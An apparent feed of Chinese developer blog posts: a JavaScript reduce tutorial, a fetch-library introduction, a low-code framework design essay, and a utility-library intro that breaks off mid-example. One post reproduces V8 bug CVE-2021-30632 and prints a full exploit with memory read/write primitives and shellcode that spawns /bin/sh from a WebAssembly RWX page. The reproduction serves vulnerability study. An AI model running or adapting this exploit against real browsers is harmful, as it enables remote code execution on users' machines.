  { id: 6, name: "优衣库牛仔裤", category: "服装", price: 599 },
  { id: 7, name: "戴尔笔记本", category: "电子产品", price: 5499 },
  { id: 8, name: "彪马跑步鞋", category: "服装", price: 899 },
  { id: 9, name: "LG空调", category: "家电", price: 2999 },
  { id: 10, name: "格力冰箱", category: "家电", price: 5999 },
];

现在想根据category 字段进行分组,就可以使用reduce 进行实现。

分组方法封装:

/**
 * 使用 reduce 方法按指定属性对数组进行分组
 * @param {Array} array - 要分组的数组
 * @param {String} key - 作为分组依据的属性
 * @returns {Object} - 分组后的对象
 */
const groupBy = (array, key) => {
  return array.reduce((prev, currentItem) => {
    // 获取当前项的分组键值
    const groupKey = currentItem[key];

    // 如果累加器中还未包含该键,则初始化为一个空数组
    if (!prev[groupKey]) {
      prev[groupKey] = [];
    }

    // 将当前项推入对应的分组数组中
    prev[groupKey].push(currentItem);

    return prev;
  }, {}); // 初始化累加器为一个空对象
};

使用示例:

// 使用示例
const groupedByCategory = groupBy(products, "category");

上面的示例可以看出这种分组操作在处理需要分类展示的数据时尤为实用,通过reduce,我们可以避免使用嵌套循环,提升代码的效率和简洁性。

四、计算总和

计算数组中数值项的总和是reduce的经典应用之一。通过定义一个初始值为0的累加器,我们可以轻松地实现这一功能。

还是用上面的数据,不过现在的需求是计算总价格了。

const products = [
  { id: 1, name: "苹果手机", category: "电子产品", price: 6999 },
  { id: 2, name: "耐克运动鞋", category: "服装", price: 1299 },
  { id: 3, name: "索尼耳机", category: "电子产品", price: 499 },
  { id: 4, name: "阿迪达斯T恤", category: "服装", price: 299 },
  { id: 5, name: "三星电视", category: "电子产品", price: 3999 },
  { id: 6, name: "优衣库牛仔裤", category: "服装", price: 599 },
  { id: 7, name: "戴尔笔记本", category: "电子产品", price: 5499 },
  { id: 8, name: "彪马跑步鞋", category: "服装", price: 899 },
  { id: 9, name: "LG空调", category: "家电", price: 2999 },
  { id: 10, name: "格力冰箱", category: "家电", price: 5999 },
];

计算总价格方法:

/**
 * 使用 reduce 方法计算商品价格的总和
 * @param {Array} productsArray - 商品数组
 * @returns {Number} - 所有商品价格的总和
 */
const calculateTotalPrice = (productsArray) => {
  return productsArray.reduce((total, product) => {
    return total + product.price;
  }, 0); // 初始值设为 0
};

使用示例:

const totalPrice = calculateTotalPrice(products);

这种方式不仅适用于价格计算,也可以用于任何需要累加的场景,如统计总分、计算总时长等。

五、统计数据出现的次数。

统计数据出现的次数可以帮助我们分析数据的分布情况。通过reduce,我们可以构建一个对象,记录每个元素出现的次数。

现在有这样一组订单数据:

const orderItems = [
  { id: 1, name: "苹果手机", category: "电子产品", price: 6999 },
  { id: 2, name: "耐克运动鞋", category: "服装", price: 1299 },
  { id: 1, name: "苹果手机", category: "电子产品", price: 6999 },
  { id: 3, name: "索尼耳机", category: "电子产品", price: 499 },
  { id: 2, name: "耐克运动鞋", category: "服装", price: 1299 },
  { id: 4, name: "阿迪达斯T恤", category: "服装", price: 299 },
  { id: 1, name: "苹果手机", category: "电子产品", price: 6999 },
  { id: 5, name: "三星电视", category: "电子产品", price: 3999 },
  { id: 3, name: "索尼耳机", category: "电子产品", price: 499 },
  { id: 6, name: "优衣库牛仔裤", category: "服装", price: 599 },
];

现在想统计每个商品有几个订单,就可以使用reduce 来计算。

方法封装:

/**
 * 使用 reduce 方法统计订单中相同商品的个数
 * @param {Array} items - 订单商品数组
 * @returns {Object} - 统计结果,键为商品ID,值为购买数量
 */
const countProducts = (items) => {
  return items.reduce((accumulator, currentItem) => {
    const productId = currentItem.id;
    const productName = currentItem.name;

    // 如果累加器中还未包含该商品ID,则初始化为对象 { name: 商品名称, count: 1 }
    if (!accumulator[productId]) {
      accumulator[productId] = { name: productName, count: 1 };
    } else {
      // 如果已经存在,则将计数器加1
      accumulator[productId].count += 1;
    }

    return accumulator;
  }, {}); // 初始化累加器为一个空对象
};

使用示例:

const productCounts = countProducts(orderItems);

上面的示例可以看出这种统计方式在需要对数据进行频率分析时非常有用,可以帮助我们快速识别出高频元素或异常数据。

通过以上五个应用场景,我们可以看到reduce方法在数据处理中的强大功能。它不仅简化了代码逻辑,也提升了代码的可读性和维护性。希望大家能够在实际项目中多加尝试,充分利用reduce的便利性。

by 10年前端老司机 at January 22, 2025 05:00 PM

juejin article

v8漏洞CVE-2021-30632复现

CVE-2021-30632复现

securitylab/SecurityExploits/Chrome/v8/CVE-2021-30632 at main · github/securitylab

参考:chrome v8漏洞CVE-2021-30632浅析 - FreeBuf网络安全行业门户

(ps:好像确实用kexue上网也不行,就算比较稳定也总有问题,还是直接用服务器好)

PropertyCellType::kConstantType

PropertyCellType 是 V8 内部的一个枚举类型,用于描述属性单元格的类型。

常见的枚举值包括:

  • kMutable:属性值是可变的。

    const obj = { value: 42 };
    obj=2
    
  • kConstant:属性值是常量,不会发生变化。

    const obj = Object.freeze({ value: 42 });
    
  • kUndefined:属性值为 undefined

    const obj = { value: undefined };
    
  • kConstantType:属性值是常量类型(即类型和值都不会发生变化)。

    globalThis.PI = 3.14159; // 全局常量
    

kConstantType 表示属性单元格的值是 常量类型,即该属性的值和类型都不会发生变化。这种类型的属性单元格通常用于优化全局对象或原型链上的常量属性。

全局变量store和load

全局变量store和load解优化条件

store
  • 全局变量属性的类型发生变化
  • 全局变量Map由stable变为not stable
  • 传入store参数的Map和前面不一致
load
  • 优化时刻MapA为Stable,后面修改MapA为MapB

类型混淆

利用过程

function store(y) {
    x = y;
}
function load() {
    return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};   // all has mapA, stable

%PrepareFunctionForOptimization(store);
store(x2);

x1.b = 1;           // x1 has mapB, stable
                    // x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2);          // optimizatiin,x has MapA in store

// x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable
// 无法命中store解优化的个条件,因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中:
4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. 由not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数,而是对x的属性做修改,不命中。
*/
x.b = 3;        // x MapB stable

%PrepareFunctionForOptimization(load);
load();         // x has mapB
%OptimizeFunctionOnNextCall(load);
load();         // x has mapB in load

/*
用jit打败jit的精髓之处就在这里了。 :)
此时x为 MapB stable,x3为MapA not stable。
回顾上面解优化条件:
store:

1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。
load:
4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。

总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。 :)
*/
store(x3);

// x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。
%DebugPrint(load());

验证

function store(y) {
    x = y;
}

function load() {
    return x.b;
}

var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};

%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 3;

%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();

store(x3);

console.log("x=================");
%DebugPrint(x);
console.log("x1=================");
%DebugPrint(x1);
console.log("x3=================");
%DebugPrint(x3);
%DebugPrint(load());
// x和x3是同一个map都是not stable
// x1是stable

过程简述

在 JIT 优化过程中,store 函数被优化为假设全局变量 x 的Map是 mapA,随后 x 的Map被修改为 mapB,但 JIT 编译器未能正确触发解优化;接着 load 函数被优化为假设 x 的Map是 mapB,但当 store(x3) 被调用时,x 的Map又被改为 mapA,而 load 函数仍基于 mapB 的假设执行,导致类型混淆,最终引发崩溃或安全漏洞。

漏洞原因(简而言之,优化和解优化的想当然一致,优化太易利用且解优化考虑不周,只考虑效率没考虑安全)

  1. 解优化条件未命中

    • store 函数的优化假设 x 的 Map 是 mapA,但在运行时 x 的 Map 变为 mapB
    • 理论上,x 的 Map 发生变化应该触发 store 函数的解优化,但由于解优化条件未命中,解优化未发生。
  2. JIT 优化的局限性

    • JIT 编译器对对象形状的假设是基于静态分析的,无法完全覆盖所有动态变化的情况。
    • 当对象的 Map 发生变化时,JIT 编译器可能无法及时检测到这些变化,导致优化代码继续执行,从而引发类型混淆。
  3. 类型混淆(Type Confusion)

    • load 函数被优化为假设 x 的 Map 是 mapB,但实际上 x 的 Map 是 mapA
    • 这导致 load 函数访问 x.b 时读取了错误的内存地址,进而导致崩溃或安全漏洞。

修复方法

  1. 全局变量必须是stable才会进行优化。
  2. store优化后,如果map变为not stable,将解优化。

修复的原理:修复后,store不会进优化,从而修复漏洞。

POC

(我用这个仓库的代码一直不成功,可能是系统版本不同?但是用文章中的代码,调试几次就成功了)

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;

function foo(y) {
  x = y;
}

function oobRead() {
  //addrOf b[0] and addrOf writeArr::elements
  return [x[20],x[24]];
}

function oobWrite(addr) {
  x[24] = addr;
}

var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];

for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}

x[0] = 1.1;

for (let i = 0; i < 20000; i++) {
  oobRead();
}

for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr);

var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();

function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}

function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}

function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}


dblArr[0] = addrs[0];
dblArr[1] = addrs[1];

function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}

function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));
  return writeArr[0];
}

function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    intArr[i] = shellArr[i];
  }
}

var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];
console.log("instance: " + instanceAddr.toString(16));
console.log("elements: " + elementsAddr.toString(16));
var rwxAddr = arbRead(instanceAddr + 0x60);
console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];

writeShellCode(rwxAddr, shellCode);
main();

如果有时间,我会研究一下怎么在Chrome浏览器上复现。

by BenSmith at January 22, 2025 04:59 PM

juejin frontend

不到3k的组合式请求库,soon-fetch

请求库也要跟上时代,从 选项式组合式 改变
soon-fetch 可根据需要,自行组装的request,没有魔法式的逻辑控制

常用的请求库如axios,ofetch等的一些缺陷:

  • 各种onRequest,onResponse,onError,得仔细查看文档才能弄清这些选项执行的时机,把原本简单的逻辑弄复杂了。
  • 限定返回类型responseType,使得当一个接口返回多种类型时,做了多余的转换。如导出报表接口,正常返回文件流,但当数据量超过10万时,返回报错信息json,提醒用户限制范围缩小数据量。默认responseType设置为blob,错误信息也会被转为blob,还需要手动加条件判断转回json.

soon-fetch的处理方式

仅提供parseUrlOptions函数,将SoonOptions 转换为原生 fetchoptions
如有特殊需要,可以根据下方的函数定制你自己的解析函数来替代 parseUrlOptions:
mergeHeaders, mergeSignals, mergeUrl, isBodyJson

const request = <T>(url: string, options?: SoonOptions) => {
    //合并options及baseOptions,并转换
  const [_url, _options] = parseUrlOptions({
    url,
    options,
    baseURL: "/api",
    baseOptions: {
      timeout: 20 * 1000,
      headers: { Authorization: localStorage.getItem("token") ?? "" },
    },
  });

  return fetch(_url, _options).then((res) => res.json() as T);
};

const soon = createSoon(request);


/** GET */
soon.get("/user?id=123");
soon.get("/user", { query: { id: 123 } });
soon.get("/user/:id", { params: { id: 123 } });

/** POST */
soon.post("/login", { body: { username: "admin", password: "123456" } });

  //定义一个api
 export const getUserInfo=soon.API('/user/:id').GET()
  //使用
  getUserInfo({id:2}).then(res=>console.log(res))

  • 🌐 自动解析 rest Url 的参数
  • ⭐ 快捷定义请求 api
  • ⌛ 超时断开
  • 🔤 自动处理 JSON
  • 📏 不到 2K , zip 后会更小
  • 💡 用 typescript 有智能类型提醒

完整示例

github: soon-admin-vue3
github: soon-admin-react-nextjs

特别功能

快捷方法
soon.get(url, options);
soon.post(url, options);
soon.put(url, options);
soon.patch(url, options);
soon.delete(url, options);
soon.head(url, options);
soon.options(url, options);
Restful Url 参数自动处理

url 包含 /:key 会解析匹配 key

soon.get("/api/user/:id", { params: { id: 1 } });
// api/user/1
soon.get("/api/:job/:year", { params: { job: "engineer", year: 5 } });
//api/engineer/5
超时
//** 请求级超时, 会覆盖实例级超时  */
soon.get(url, { timeout: 1000 * 20 });
快速定义 API
  //可以是 GET POST PATCH PUT DELETE
  //GET 请求数据传递至query,其他方法请求数据传递至body
  soon.API(url:string).POST<RequestType,ResponseType>()

  //定义一个api
 export const getUserInfo=soon.API('/user/:id').GET()
  //使用
  getUserInfo({id:2})
    .then(res=>console.log(res))
    .catch(err=>console.log(err))

  //用typescript,
 export const login=soon.API('/user/login')
    .POST<{username:string,password:string},{token:string}>()
 //开发工具会有请求和响应的智能提醒
  login({username:'admin',password:'123'}).then(res=>{
    localStorage.setItem('token', res.token);
  })

API 参考

parseUrlOptions源码如下
function parseUrlOptions<Options extends SoonOptions>(urlOptions: {
  url: string;
  options?: Options;
  baseURL?: string;
  baseOptions?: Options;
}) {
  const { url, options, baseURL, baseOptions } = urlOptions;
  // 覆盖 baseOptions
  const _options = { ...baseOptions, ...options };

  // 以 AbortSignal.any 的方式合并 baseOptions.signal 、 options.signal 、
  // 以及 AbortSignal.timeout( _options.timeout)
  _options.signal = mergeSignals(
    [baseOptions?.signal, options?.signal],
    _options.timeout
  );

  //根据 baseURL , options.query , options.params 解析出完整的url
  const _url = mergeUrl(url, { ..._options, baseURL });

  // 自动stringify json-object类的body
  let _body = options?.body;
  let is_body_json = isBodyJson(_body);
  _options.body = is_body_json ? JSON.stringify(_body) : _body;

  //合并headers, 相同key值的header会被options.headers覆盖
  //当body 为 json ,自动添加 header "Content-Type": "application/json" }
  const headers = mergeHeaders(
    baseOptions?.headers,
    options?.headers,
    is_body_json ? { "Content-Type": "application/json" } : undefined
  );
  _options.headers = headers;

  return [_url, _options as Options & { headers: Headers }] as const;
}

如有特殊需要,可以根据下方的函数定制你自己的解析函数来替代 parseUrlOptions: mergeHeaders, mergeSignals, mergeUrl, isBodyJson

SoonOptions
// function fetch(input: RequestInfo | URL, init?: RequestInit): Promise<Response>
// RequestInit  为原生 fetch 的 init 选项
type SoonOptions = Omit<RequestInit, "body"> & {
    query?: Record<string, string | number | boolean | null | undefined | (string | number | boolean | null | undefined)[]> | URLSearchParams;
    params?: Record<string, string | number>;
    timeout?: number;
    body?: RequestInit["body"] | object;
};

支持一下

喜欢 soon-fetch 的话 , 在 github 上给个 star 吧.

github: soon-fetch

安装 Installation
    npm install soon-fetch

by leafnote at January 22, 2025 04:40 PM

谈谈一种建站框架的设计思路

背景概述

在日常开发中,大部分工作的内容往往都是重复做一件相同的事。例如开发一个后台管理系统,系统内有多个模块,但基本上每个模块对应的页面的内容结构都是相同的,包含搜索框、表格、表单、弹窗等。开发者在不同的页面,利用现成的三方组件库,不断实现搜索框、表格、表单、弹窗等。

上面描述的只是大部分的情况,实际上还是有一些逻辑复杂、定制程度高的功能。与重复工作相比,定制工作占开发者的工作时间低很多。既然如此,能不能减少重复性工作内容,提高效率,进而把精力集中实现复杂的功能,优化性能等更有意义的工作内容呢?或许我们可以把一些重复的工作抽象出来,做成一个框架,提前实现固定逻辑,再通过外部简单的配置,通过框架直接生成页面。

低代码方案

早在几年前,就已经有很多解决方案出现,令人熟悉的低代码方案就是其中之一,低代码通过提前实现各种不同的物料,物料对应不同的组件,组件有基本的实现,也允许外部传参配置。开发者便可以通过一份 schema 配置,然后处理配置生成页面,省去了很多代码编写的工作。

基于以上思路,再搭建一个可视化配置平台,平台在创建页面前提供一个画布,允许用户直接拖拉组件,对页面进行布局,再补充各个组件的属性信息,然后自动生成一份 schema 配置,通过 schema 生成页面。这种平台也称低代码平台,不仅是代码开发者,对于不懂代码语法的使用者,也能通过低代码平台构建一个系统。

低代码构建页面流程如下,对于开发者来说,图中绿色区域并不是必要的,绿色区域的作用是可视化操作、预览页面效果、改变 schema 的创建方式。

image.png

建站框架设计

参考低代码的流程,设计思路可以分为三部分:“物料 ——> schema ——> 页面”,先从物料入手分析。一个页面通常会有固定不变的部分和可变的部分,如果每次构建一个页面时,都需要以组件为颗粒度,去拼成一个页面的话,就会重复固定部分的工作。因此,放大一下构建维度,从页面的角度去构建,页面模板沉淀一些固定逻辑,通过 schema 配置可变部分,可以减少重复工作。

image.png

以后台管理系统的页面为例,其结构通常都包含 Header 和 Content,而 Content 包含左侧二级菜单以及页面内容面板,当然二级菜单可以根据实际情况取舍,由此建立一个基础的 schema 配置。

const config = {
    model: 'dashboard', // 模板类型
    name: 'manage system'
    menu: [{
        key: 'menu1',
        name: 'Menu1',
        siderConfig: {
            menu: [{
                key: 's-menu1',
                name: 's-Menu1'
                moduleType: 'schema', // panel 的类型
                schemaConfig: {...}, // panel 对应类型内容的配置
            }, ... // s-menu2、s-menu3 同样结构]
        }
    }, ...// menu2、menu3 同样结构]
}

接下来再分析一下 panel,常见的内容结构由搜索部分和表格部分组成。

image.png

根据前端开发的习惯,一般会从组件的维度,可以以搜索框和表格入手分别在 schemaConfig 中配置:

schemaConfig: {
    searchConfig: {
        searchList: [{
            key: 'item1',
            label: 'item1',
            type: 'input'
        }, ... // item2 同样结构],
        btn: 'search'
    },
    tableConfig: {
        column: [{
            key: 'item1',
            name: 'item1',
            width: '200',
            // 省略其他配置...
        }, 
        ... // item2 同样结构,
        {
            key: 'action',
            name: 'action',
            btn: ['查看''修改''删除']
        }]
    }
},

这样确实可以正常渲染,如果后面需要添加组件,就继续添加相关的 config。不过,我们可以发现,字段 item1、item2、...... 、itemN,贯穿了多个组件的逻辑,所有组件的逻辑都是围绕这字段 item1、item2、...... 、itemN 展开的,那么其实可以把这一部分提取出来单独配置,至于 [xxx]Config 只配置组件内独有的逻辑。因此配置就变为:

schemaConfig: {
    schema: {
        item1: {
            label: 'item1',
            searchOption: {
                type: 'input'
            },
            tableOption: {
                width: 200
            }
        }, 
        // item2、... 、itemN 同理
    },
    searchConfig: {
        btns: []
    },
    tableConfig: {
        btns: [{
            label: '查看'
        }, {
            label: '修改'
        },{
            label: '删除'
        }]
    }
}

这样配置的话,以后维护的时候能够清晰查看属性字段与组件的映射关系,如果想要把某个字段删除,只需要删除对应的 item,就可以把该字段与所有相关的组件逻辑都删除了。至此,一个常见的后台管理系统页面的基础部分已经沉淀出来了。

拓展性添加

在实际开发中,业务并不是一成不变的,随着系统版本的不断迭代,多多少少会有额外的逻辑,所以需要提供一些手段给开发者。首先要说的是 menu 的拓展,如果一个新系统对 menu 的内容,有 50% 要复用,另外 50% 要自定义,该怎么做?

对于该问题,使用面向对象编程的思想去解决。上面也提到,要把基础的部分沉淀出来,除了把页面结构沉淀,也可以把一些基础业务沉淀出来,此时,沉淀出来的 schema 可以看作一个表示基类的 schema。后续如果有新系统,有部分功能需要复用,有部分需要自定义,就可以以继承的方式,产生新的表示子类的 schema,用来生成页面。

image.png

上图表示子类的 schema 把基类 schema 继承后的结果,绿色部分表示基类独有的,红色部分表示子类独有的,蓝色部分表示子类把基类覆盖的结果。此时,不仅仅是 menu 可以灵活拓展,关于配置内的所有功能其实都能够拓展的,例如组件的拓展,由于在页面开发的时候,会暴露一些页面的钩子和事件的钩子,只要再 schema 中添加对应的配置即可完成。

schemaConfig: {
    schema: {
        item1: {
            ... ,
            searchOption: {...},
            tableOption: {...},
            // 组件拓展
            compOption: {
                comp1: {}
            }
        }, 
        // item2、... 、itemN 同理
    },
    searchConfig: {...},
    tableConfig: {...},
    // 组件拓展
    compConfig: {
        comp1: {}
    }
}

如果开发者想摆脱系统提供的 panel 结构,也可以自定义页面,只要把页面和路由指定好,就能够实现了。

const config = {
    model: 'dashboard', // 模板类型
    name: 'manage system'
    menu: [{
        key: 'menu1',
        name: 'Menu1',
        moduleType: 'custom', // panel 的类型为用户自定义
        customConfig: {
            path: '/custom', // 页面路由路径,此处为 '/custom'
        }, 
    }]
}

服务端能力

后端的工作与前端有相似之处,都是存在着重复性工作,为了提高效率,需要把固定不变部分与可变部分分离,沉淀出固定部分,拓展可变部分。紧接上文,以上文的模板页为例,在后端项目中的业务逻辑主要为:

  • 接口参数校验
  • 数据的增删改查
  • 数据的进一步处理
  • 调用其他服务

其中 "数据的增删改查" 是固定必有的逻辑,一般都是以 “router ——> contorller ——> service” 这种结构去处理。所以只要在 schema 中提供接口路径、参数信息、操作行为,就能够实现基本功能。

接口路径与操作行为可以通过 RESTful 规范去声明,这样在 schema 中只需要提供一个 api 参数就能够表示了;而参数信息可以复用 schema 中的参数配置信息,在原有参数配置基础上添加与 api 有关的配置。

schemaConfig: {
    api: '/api/model/scene',
    schema: {
        item1: {
            ... ,
            searchOption: {...},
            tableOption: {...},
            compOption: {...},
            // api 选项
            apiOption: {...}
        }, 
        // item2、... 、itemN 同理
    },
    searchConfig: {...},
    tableConfig: {...},
    compConfig: {...},
    // api 配置
    apiConfig: {...}
}

通常这种业务场景的接口参数以 json 的形式表示,所以接口参数校验上,以 json-schema 规范执行,对接口 json 数据中的每一个字段配置 rule,配置完 rule 后的 schema 格式如下:

schemaConfig: {
    api: '/api/model/scene',
    schema: {
        type: 'object',
        properties: {
            item1: {
                type: 'string'
                [xxx]Option: {...},
                ...
            }, 
            // item2、... 、itemN 同理
        },
        required: ['item1', ...],
        ...
    },
    [xxx]config: {...},
    ...
}

代码中除了基本逻辑,还会暴露出一些后端的钩子,使开发者可以进一步处理数据,或者调用第三方服务等等,从而满足定制化的需求。

业务模型沉淀

通过 “schema + 模板” 实现了对代码的复用,提升了重复工作的完成效率。业务系统中,大部分的代码又是跟业务相关的,那么,能不能够对与一些重复相似的业务能力进行提取,进而复用呢?

一个系统通常会由多个板块组成,每个板块会对应处理一种子业务,不同板块之间的可能没有关联,也可能会有一定的关联性。例如:一个电商管理系统由商品管理、订单管理、用户管理组成;另一个电商系统除了由商品管理、订单管理、用户管理组成外,还加了一个消息管理。不难发现,对于同一性质的系统,里的板块组成类似,板块内的业务处理逻辑也相似,那么就可以从 “板块” 的颗粒度入手,沉淀业务复用能力。

一种 “业务板块” 的内容包含了前台页面、后台 api 接口、以及数据库表,这种文中提到的 schema 构建方式刚好能匹配这种能力模式,对于一种 “业务板块”,可以用一种 “schema” 来表达。通过把多种板块拼接,表示把多种子业务组合,形成一种 “业务模型”,这种 “业务模型” 服务于一类业务相近的系统。这样,就能够实现对重复业务的沉淀。

image.png

业务拓展

沉淀了重复的业务,沉淀了固定不变的部分后,同样需要思考拓展性问题,对于一些定制化的内容,是无法避免的。从业务角度来看,实现思路与代码方案类似,也是使用面向对象的思想,先封装好一个 “基类业务模型”,根据定制需求实现不同的 “子类业务模型” ,再对 “子类业务模型” 实例化,创建出一个 “实例业务系统”。

image.png

至此,一个具有代码复用能力,业务复用能力,而且具备一定拓展性的建站框架就完成了。在框架中,只需根据规则完成 schema 配置,便可以完成系统的创建,同时可以定制化特有功能,满足各种额外场景。

最后,感谢 @fsiaonma(dy搜索:哲玄前端,他的《大前端全栈实践课》干货满满)

by xym2333 at January 22, 2025 04:36 PM

不输Lodash的前端函数库我是怎么做的

image.png

npm 地址 robinson - npm
git 地址 An-Lijun/Robinson: A Simple Web Utils to implement functionality

引言

在前端开发的世界里,Lodash 无疑是一个家喻户晓的工具库,它提供了丰富且实用的函数,大大提高了开发者的效率。然而,有时候我们可能会有一些特殊的需求,或者想要尝试自己打造一个类似的函数库,于是就有了 Robinson 这个前端函数库。今天,我就来分享一下,我是如何打造一个不输 Lodash 的前端函数库的。PS,可能有点标题党,但是我真认为我这个项目做的还不错,虽然现在还不完善也没多少人使用

项目背景与目标

Robinson 是一个简单的 Web 工具库,旨在为前端开发者提供一系列实用的函数,帮助他们更高效地完成日常开发任务。我们的目标是在功能上尽可能地接近甚至超越 Lodash,同时保持代码的简洁性和易用性。

技术选型与工具

1. 使用 edar-cli 构建

Robinson 是基于 edar-cli(SDK)构建的。edar-cli 为项目提供了强大的开发和构建能力,它可以帮助我们快速搭建项目结构,管理依赖,以及进行代码的编译和打包。通过使用 edar-cli,我们能够更加专注于函数库的核心功能开发,而不必过多担心项目的构建和部署问题。

image.png

注意:这个脚手架也是我自己搭建的不过目前还不完善

2. 选择合适的编程语言

我们选择使用 JavaScript 作为主要的开发语言,因为它是前端开发的基石,几乎所有的前端开发者都熟悉它。同时,为了提高代码的可维护性和类型安全性,我们也会逐渐引入 TypeScript 的支持。

项目结构与组织

一个良好的项目结构对于函数库的开发和维护至关重要。Robinson 的项目结构大致如下:

Robinson/
├── src/
│   ├── core/         # 核心函数模块
│   ├── utils/        # 辅助工具函数模块
│   ├── index.js      # 入口文件,导出所有公共 API
├── test/             # 测试文件目录
├── docs/             # 文档目录
├── package.json      # 项目配置文件
├── README.md         # 项目说明文档

image.png

核心模块设计

在 src/core 目录下,我们会放置一些核心的函数模块,这些函数是 Robinson 的核心功能,例如数组操作、对象操作、字符串处理等。每个模块都会有一个单独的文件,并且会进行详细的注释,以便于其他开发者理解和使用。

辅助工具模块

src/utils 目录下的文件主要是一些辅助工具函数,它们可能会被核心模块调用,或者为开发者提供一些额外的功能。例如,我们可以在这个目录下实现一些日期处理函数、文件操作函数等。

开发规范化

ESLint

在开发过程中保证每个人提交的代码风格一致(虽然只有自己在开发)这里使用eslint进行帮助开发团队保持代码的一致性,遵循特定的编码风格和最佳实践,同时也能发现潜在的错误和安全漏洞。注意这里我配置的Eslint 是会格式化代码的,我这里并没有使用Prettier,实在是不想配置两个工具做兼容了太累了,希望前端赶快出大一同构建工具,@尤雨溪 @bun加油啊我真的不想再配置工具了。

image.png

Husky

Husky 是一个 Git hooks 工具,它可以帮助你在特定的 Git 事件(如 commitpush 等)发生时自动执行一些脚本。在前端项目中,Husky 通常用于在代码提交前执行代码检查、格式化、测试等任务,以确保代码的质量和一致性。(ps:虽然用了但是由于自己开发就比较随性了配置完了几乎没怎么用过)

image.png

函数设计与实现

1. 功能覆盖

为了不输于 Lodash,我们需要尽可能地覆盖 Lodash 的常用功能。例如,Lodash 中有很多数组操作函数,如 mapfilterreduce 等,我们在 Robinson 中也会实现这些函数,并且会根据实际需求进行一些扩展和优化。

2. 性能优化

性能是一个优秀函数库的关键指标之一。在实现每个函数时,我们都会考虑其性能问题,尽量使用最优的算法和数据结构。例如,在实现数组排序函数时,我们会选择合适的排序算法,以提高排序的效率。

3. 错误处理

在函数设计中,我们会充分考虑各种可能的错误情况,并进行相应的错误处理。例如,当用户传入的参数不符合要求时,函数会抛出明确的错误信息,帮助用户快速定位问题。

举个例子 每一个函数都采用 typedoc对文档添加注释 typescript进行类型修饰尽量覆盖全部类型

/**
 * @beta
 * @description `chunkArray` 函数接受一个数组和一个大小参数,并返回一个新数组,其中原始数组被分割成指定大小的较小数组。
 * @param {Array} - `array` 参数是任何类型的数组。它是需要被分成更小的数组的数组。
 * @param {number} [size=1] - “size”参数指定数组每个块中应包含的元素数量。默认情况下,它设置为 1,这意味着每个元素将位于其自己的单独块中。
 * @returns {[Array]} 数组的数组。每个内部数组都包含原始数组中的一块元素。每个块的大小由“size”参数确定。
 * @example
 * ```JavaScript
 * let a=[1,2,3,4,5,6]
 *  getChunkArray(a,2) // [[1,2],[3,4],[5,6]]
 * let a=[1,2,3,4,5,6]
